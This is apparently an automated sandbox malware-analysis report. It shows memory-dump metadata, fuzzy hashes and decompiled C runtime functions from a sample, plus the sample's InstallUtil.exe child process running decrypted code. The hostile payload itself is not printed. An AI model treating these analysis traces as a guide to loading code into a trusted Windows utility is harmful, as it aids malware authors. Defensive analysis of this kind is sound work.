0x001be1ea
0x00000000
0x00000000
0x00000000
0x001be1ea
0x001be1c8
0x00000000
0x001be1d3
0x001be18e
0x001be191
0x001be194
0x001be1a3
0x001be1a6
0x001be17d
0x001be17d
0x00000000
0x001be180
0x001be19a
0x001be19f
0x001be1a1
0x001be222
0x001be222
0x00000000
0x001be1a1
0x001be16b
0x001be170
0x001be175
0x001be177
0x001be17a
0x00000000

APIs

Part of subcall function 001BDD41: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,001BC41B,?,00000000,-00000008), ref: 001BDDED

GetLastError.KERNEL32 ref: 001BE1C1
__dosmaperr.LIBCMT ref: 001BE1C8
GetLastError.KERNEL32(?,?,?,?), ref: 001BE202
__dosmaperr.LIBCMT ref: 001BE209

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 86b979a20a8112f643f04a0e21dad425ca5df33de522af3011576519beff7f21
Instruction ID: c3c87c9fbfb41f64a12ca9b42b590db91302ec7ff4dbe670c49e9fd5ecc63ab6
Opcode Fuzzy Hash: 86b979a20a8112f643f04a0e21dad425ca5df33de522af3011576519beff7f21
Instruction Fuzzy Hash: D0210175200215AFDB20AFA6CC81DEBBBEDFF253607208568F829D7641D730ED018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 001B319D Relevance: 6.1, APIs: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001B319D(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E001BDD41(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E001B327C(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E001AFEE7(GetLastError());
									_t18 =  *((intOrPtr*)(E001AFF41()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E001B32BA(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E001AFEE7(GetLastError());
						_t18 =  *((intOrPtr*)(E001AFF41()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E001B32BA(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E001B333F(_a8);
				return 0;
			}

0x001b31a3
0x001b31a8
0x001b31bf
0x001b31f1
0x001b31fb
0x001b3214
0x001b321a
0x001b3228
0x001b3235
0x001b323c
0x001b3255
0x001b3258
0x001b323e
0x001b3245
0x001b3250
0x001b3250
0x001b325a
0x001b325b
0x00000000
0x001b325b
0x001b321f
0x001b3226
0x00000000
0x00000000
0x00000000
0x001b3226
0x001b3204
0x001b320f
0x00000000
0x001b320f
0x001b31c1
0x001b31c7
0x001b31da
0x001b31dd
0x001b31df
0x001b31e1
0x00000000
0x001b31e1
0x001b31cd
0x001b31d4
0x00000000
0x00000000
0x00000000
0x001b31d4
0x001b31ad
0x00000000

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c684e746d6b62813328a010bb324b0bc1e187b9773c288d031a1958ca1d08a
Instruction ID: d63a57c7163293e42f86d55fe28e74275efdbbe79c9578f35c620c4a936560be
Opcode Fuzzy Hash: 37c684e746d6b62813328a010bb324b0bc1e187b9773c288d031a1958ca1d08a
Instruction Fuzzy Hash: 5521F331200205AFDB10AFA1DC419AB77ADFF653607114569F936C7191EB30EF208BA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C570F Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001C570F(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x1d5a50, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E001C56F8();
					E001C56BA();
					_t13 = WriteConsoleW( *0x1d5a50, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x001c572c
0x001c5730
0x001c573d
0x001c5742
0x001c575d
0x001c575d
0x001c5763

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,001C3C69,00000000,00000001,00000000,00000000,?,001BA547,00000000,00000000,00000000), ref: 001C5726
GetLastError.KERNEL32(?,001C3C69,00000000,00000001,00000000,00000000,?,001BA547,00000000,00000000,00000000,00000000,00000000,?,001BAACE,00000000), ref: 001C5732

Part of subcall function 001C56F8: CloseHandle.KERNEL32(FFFFFFFE,001C5742,?,001C3C69,00000000,00000001,00000000,00000000,?,001BA547,00000000,00000000,00000000,00000000,00000000), ref: 001C5708

___initconout.LIBCMT ref: 001C5742

Part of subcall function 001C56BA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001C56E9,001C3C56,00000000,?,001BA547,00000000,00000000,00000000,00000000), ref: 001C56CD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,001C3C69,00000000,00000001,00000000,00000000,?,001BA547,00000000,00000000,00000000,00000000), ref: 001C5757

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 897209405173098d54a74272f9f54c5b86be3988de46ef6cfb2e23c7b7b142ab
Instruction ID: d635540873c404d64ae3c70e8be1cabb0fc80ae1a4268002a2d329fb3ec55cd1
Opcode Fuzzy Hash: 897209405173098d54a74272f9f54c5b86be3988de46ef6cfb2e23c7b7b142ab
Instruction Fuzzy Hash: E5F01C36401668BBCF222F95DC05F8A3F27FF193A1F804514FA1A86560D732D8A0EB90

Uniqueness

Uniqueness Score: -1.00%

Function 001B2BCD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 001B2C5D

Strings

pow, xrefs: 001B2C35, 001B2C52

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 15a36f7f79f878ea0e938f4f1552d5d71b469ea7d3ff318dd02138eee35a64f0
Instruction ID: f51f1c276a432a51d408947197677256fb736985489d2d02447f1a3bcd0891a7
Opcode Fuzzy Hash: 15a36f7f79f878ea0e938f4f1552d5d71b469ea7d3ff318dd02138eee35a64f0
Instruction Fuzzy Hash: DB516061A0820186CB1E7B14ED423FE3FA4EB50754F644D68F0D6862E9FF35CCD99A46

Uniqueness

Uniqueness Score: -1.00%

Function 001AC780 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E001AC780(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed int _t81;
				char _t83;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				void* _t102;
				void* _t104;
				void* _t111;

				_t89 = __edx;
				_t76 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t76 = E001C66EB(__ecx,  *_t76);
				_t77 = _a8;
				_t6 = _t77 + 0x10; // 0x11
				_t96 = _t6;
				_push(_t96);
				_v20 = _t96;
				_v12 =  *(_t77 + 8) ^  *0x1d5010;
				E001AC740(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0x1d5010);
				E001AD81C(_a12);
				_t52 = _a4;
				_t104 = _t102 - 0x1c + 0x10;
				_t93 =  *((intOrPtr*)(_t77 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t93 - 0xfffffffe;
					if(_t93 != 0xfffffffe) {
						_t89 = 0xfffffffe;
						E001AD9A0(_t77, 0xfffffffe, _t96, 0x1d5010);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
					if(_t93 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t81 = _v12;
							_t59 = _t93 + (_t93 + 2) * 2;
							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
							_t60 = _t81 + _t59 * 4;
							_t82 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t83 = _v5;
								goto L7;
							} else {
								_t89 = _t96;
								_t61 = E001AD940(_t82, _t96);
								_t83 = 1;
								_v5 = 1;
								_t111 = _t61;
								if(_t111 < 0) {
									_v16 = 0;
									L13:
									_push(_t96);
									E001AC740(_t77, _t89, _t93, _t96, _v12);
									goto L14;
								} else {
									if(_t111 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0x1c8228;
											if(__eflags != 0) {
												_t72 = E001C5FD0(__eflags, 0x1c8228);
												_t104 = _t104 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t98 =  *0x1c8228; // 0x1aad98
													 *0x1c7144(_a4, 1);
													 *_t98();
													_t96 = _v20;
													_t104 = _t104 + 8;
												}
												_t62 = _a4;
											}
										}
										_t90 = _t62;
										E001AD980(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
											_t90 = _t93;
											E001AD9A0(_t64, _t93, _t96, 0x1d5010);
											_t64 = _a8;
										}
										_push(_t96);
										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
										E001AC740(_t77, _t90, _t93, _t96, _v12);
										_t86 =  *((intOrPtr*)(_v24 + 8));
										E001AD960();
										asm("int3");
										_t66 = E001AD9B7();
										__eflags = _t66;
										if(_t66 != 0) {
											_t67 = E001ACA43(_t86);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E001AD9F3();
												goto L24;
											}
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L28;
							L7:
							_t93 = _t77;
						} while (_t77 != 0xfffffffe);
						if(_t83 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L28:
			}

0x001ac780
0x001ac787
0x001ac78b
0x001ac78c
0x001ac792
0x001ac79e
0x001ac7a0
0x001ac7a6
0x001ac7a6
0x001ac7af
0x001ac7b1
0x001ac7b4
0x001ac7b7
0x001ac7bf
0x001ac7c4
0x001ac7c7
0x001ac7ca
0x001ac7d1
0x001ac82d
0x001ac830
0x001ac838
0x001ac83f
0x00000000
0x001ac83f
0x00000000
0x001ac7d3
0x001ac7d3
0x001ac7d9
0x001ac7df
0x001ac7e5
0x001ac850
0x001ac859
0x001ac7e7
0x001ac7e7
0x001ac7e7
0x001ac7ed
0x001ac7f0
0x001ac7f3
0x001ac7f6
0x001ac7f9
0x001ac7fe
0x001ac814
0x00000000
0x001ac800
0x001ac800
0x001ac802
0x001ac807
0x001ac809
0x001ac80c
0x001ac80e
0x001ac824
0x001ac844
0x001ac844
0x001ac848
0x00000000
0x001ac810
0x001ac810
0x001ac85a
0x001ac85d
0x001ac863
0x001ac865
0x001ac86c
0x001ac873
0x001ac878
0x001ac87b
0x001ac87d
0x001ac87f
0x001ac88c
0x001ac892
0x001ac894
0x001ac897
0x001ac897
0x001ac89a
0x001ac89a
0x001ac86c
0x001ac8a0
0x001ac8a2
0x001ac8a7
0x001ac8aa
0x001ac8ad
0x001ac8b5
0x001ac8b9
0x001ac8be
0x001ac8be
0x001ac8c1
0x001ac8c5
0x001ac8c8
0x001ac8d5
0x001ac8d8
0x001ac8dd
0x001ac8de
0x001ac8e3
0x001ac8e5
0x001ac8ea
0x001ac8ef
0x001ac8f1
0x001ac8fc
0x001ac8f3
0x001ac8f3
0x00000000
0x001ac8f3
0x001ac8e7
0x001ac8e7
0x001ac8e7
0x001ac8e9
0x001ac8e9
0x001ac812
0x00000000
0x001ac812
0x001ac810
0x001ac80e
0x00000000
0x001ac817
0x001ac817
0x001ac819
0x001ac820
0x00000000
0x001ac822
0x00000000
0x001ac820
0x001ac7e5
0x00000000

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 001AC7BF
__IsNonwritableInCurrentImage.LIBCMT ref: 001AC873

Strings

csm, xrefs: 001AC85D

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5edd1d2f4781d32f8fff7c0d378dff833fa0ab527d0d153da3dca76419f6f088
Instruction ID: c0676229a7d0baa496a5d64fb797ed9be0db2e85db89d97856de3024ca13e86f
Opcode Fuzzy Hash: 5edd1d2f4781d32f8fff7c0d378dff833fa0ab527d0d153da3dca76419f6f088
Instruction Fuzzy Hash: 8E41C238E002189FCF10DF68C884A9EBBB5BF56324F148159E819AB392D735EA45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 001AD08D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E001AD08D(signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				void* _t100;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				void* _t110;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_t75 = E001AC96C(_t96, _t100, _t110, _t121, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E001AC96C(_t96, _t100, _t110, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E001AA519(_t110, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E001AA44C(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E001ACC68(_t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E001B2DB9(_t96, _t100, _t110, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t82 = _t97 + 8;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x001ad094
0x001ad09d
0x001ad1bc
0x001ad0a3
0x001ad0a5
0x001ad0af
0x001ad0b2
0x001ad0b8
0x001ad0c2
0x001ad0e7
0x001ad0ec
0x001ad0f1
0x001ad1b8
0x00000000
0x001ad1b9
0x001ad0f1
0x001ad0c2
0x001ad0f7
0x001ad0fa
0x001ad0fd
0x001ad103
0x001ad109
0x001ad11b
0x001ad120
0x001ad123
0x001ad126
0x001ad129
0x001ad12c
0x001ad132
0x001ad138
0x001ad13b
0x001ad13e
0x001ad14d
0x001ad14e
0x001ad14e
0x001ad153
0x001ad166
0x001ad168
0x001ad16d
0x001ad178
0x001ad17a
0x001ad17c
0x001ad198
0x001ad19d
0x001ad1a0
0x001ad1a0
0x001ad178
0x001ad16d
0x001ad1a6
0x001ad1a7
0x001ad1aa
0x001ad1ad
0x001ad1b0
0x001ad1b3
0x001ad13e
0x00000000
0x001ad132
0x001ad1bd
0x001ad1c2
0x001ad1c6
0x001ad1c9
0x001ad1ca
0x001ad1cb
0x001ad1cc
0x001ad1d1
0x001ad249
0x001ad24b
0x001ad1d3
0x001ad1d3
0x001ad1d9
0x00000000
0x001ad1db
0x001ad1de
0x001ad1e1
0x001ad1e8
0x001ad1eb
0x001ad1ef
0x001ad221
0x001ad224
0x001ad22b
0x001ad231
0x001ad23b
0x001ad244
0x001ad244
0x001ad23b
0x001ad231
0x001ad245
0x001ad1f1
0x001ad1f1
0x001ad1f4
0x001ad1f4
0x001ad1f8
0x00000000
0x00000000
0x001ad1fc
0x001ad210
0x001ad210
0x001ad1fe
0x001ad1fe
0x001ad204
0x00000000
0x001ad206
0x001ad206
0x001ad209
0x001ad20e
0x00000000
0x00000000
0x00000000
0x00000000
0x001ad20e
0x001ad204
0x001ad219
0x001ad21b
0x00000000
0x001ad21d
0x001ad21d
0x001ad21d
0x00000000
0x001ad21b
0x001ad214
0x001ad216
0x00000000
0x001ad216
0x00000000
0x00000000
0x00000000
0x001ad1e1
0x001ad1d9
0x001ad24c
0x001ad250
0x001ad250

APIs

EncodePointer.KERNEL32(00000000,?), ref: 001AD0B2

Strings

RCC, xrefs: 001AD0CC
MOC, xrefs: 001AD0C4

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c5b43ee78c9bbf15e806a1e039886add2b7acd0628658b527010e93b25584a6d
Instruction ID: 00bf4c1c4126c839b5f5d9568628e371cb8db88880ef871ec0b42b27822f57b8
Opcode Fuzzy Hash: c5b43ee78c9bbf15e806a1e039886add2b7acd0628658b527010e93b25584a6d
Instruction Fuzzy Hash: 2D419A76900209AFCF16DF98DD81AEEBBB5FF49304F188098F905B7221D3359950CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: InstallUtil.exePID: 7152, Parent PID: 7040COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	52
Total number of Limit Nodes:	2

Executed Functions

Function 02AB9540 Relevance: 1.6, APIs: 1, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 02AB95DC

Memory Dump Source

Source File: 00000002.00000002.449231372.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2ab0000_InstallUtil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5148e5eb8905a5f0132f9dec775028a470f14844502774a875c281329a6d8b3f
Instruction ID: ca5b2717e8460f421f133f49bbd46c72f97dc8180d48dff4881be0e00fba461d
Opcode Fuzzy Hash: 5148e5eb8905a5f0132f9dec775028a470f14844502774a875c281329a6d8b3f
Instruction Fuzzy Hash: 68414C347001059FD714EB68C9A0BAABBF6EF88314F258069D816E7395CF72AC42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05522B18 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.460167149.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dd919822a8fb44b261b68548a17f07f1b17244c7bcf4bf385bd56013117cb5a
Instruction ID: 3dc309f2b00c3295582d2292fd49da7646b70151b1a185f3bbc14888dd51f476
Opcode Fuzzy Hash: 6dd919822a8fb44b261b68548a17f07f1b17244c7bcf4bf385bd56013117cb5a
Instruction Fuzzy Hash: E5D16275E00219DFCB14DFA8C484AAEFBF2FF49310F14855AE419AB391DB74A946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05A13159 Relevance: 1.7, APIs: 1, Instructions: 241
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05A13190

Memory Dump Source

Source File: 00000002.00000002.460740580.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a10000_InstallUtil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4c82f027defb72493d709a1fd2f45ea60c85a4d5359091a6754d3dc2a26ea5f9
Instruction ID: 7dd731ae04362b395cee3c005ce8af669181a29bffb5c933d56057838a543fec
Opcode Fuzzy Hash: 4c82f027defb72493d709a1fd2f45ea60c85a4d5359091a6754d3dc2a26ea5f9
Instruction Fuzzy Hash: 98B1D4387011418FCB54EB18DA90B6AB7B6FB88214F24C4AAD91AD7355DB32ED42CF44

Uniqueness

Uniqueness Score: -1.00%

Function 05A1C5DC Relevance: 1.6, APIs: 1, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 05A1C6B2

Memory Dump Source

Source File: 00000002.00000002.460740580.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a10000_InstallUtil.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 13300c81da30ea9c61cd270fa0023cfee2d1eeaa819acbf981fd9e4e92985532
Instruction ID: dcd5f17a2cdeecbc323c5e77fe2e2fb2614df98bcd5a504fdeec0e8e79bd1266
Opcode Fuzzy Hash: 13300c81da30ea9c61cd270fa0023cfee2d1eeaa819acbf981fd9e4e92985532
Instruction Fuzzy Hash: 1F3147B0D00359DFDB24CFA9C895B9EBBB1FB09320F10952AE825A7340D7749881CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05A19A6C Relevance: 1.6, APIs: 1, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 05A1C6B2

Memory Dump Source

Source File: 00000002.00000002.460740580.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a10000_InstallUtil.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bec0ee468e928f0e158debf7b5360196dfd71dc06ffa6c6220cff6a3e51b5d43
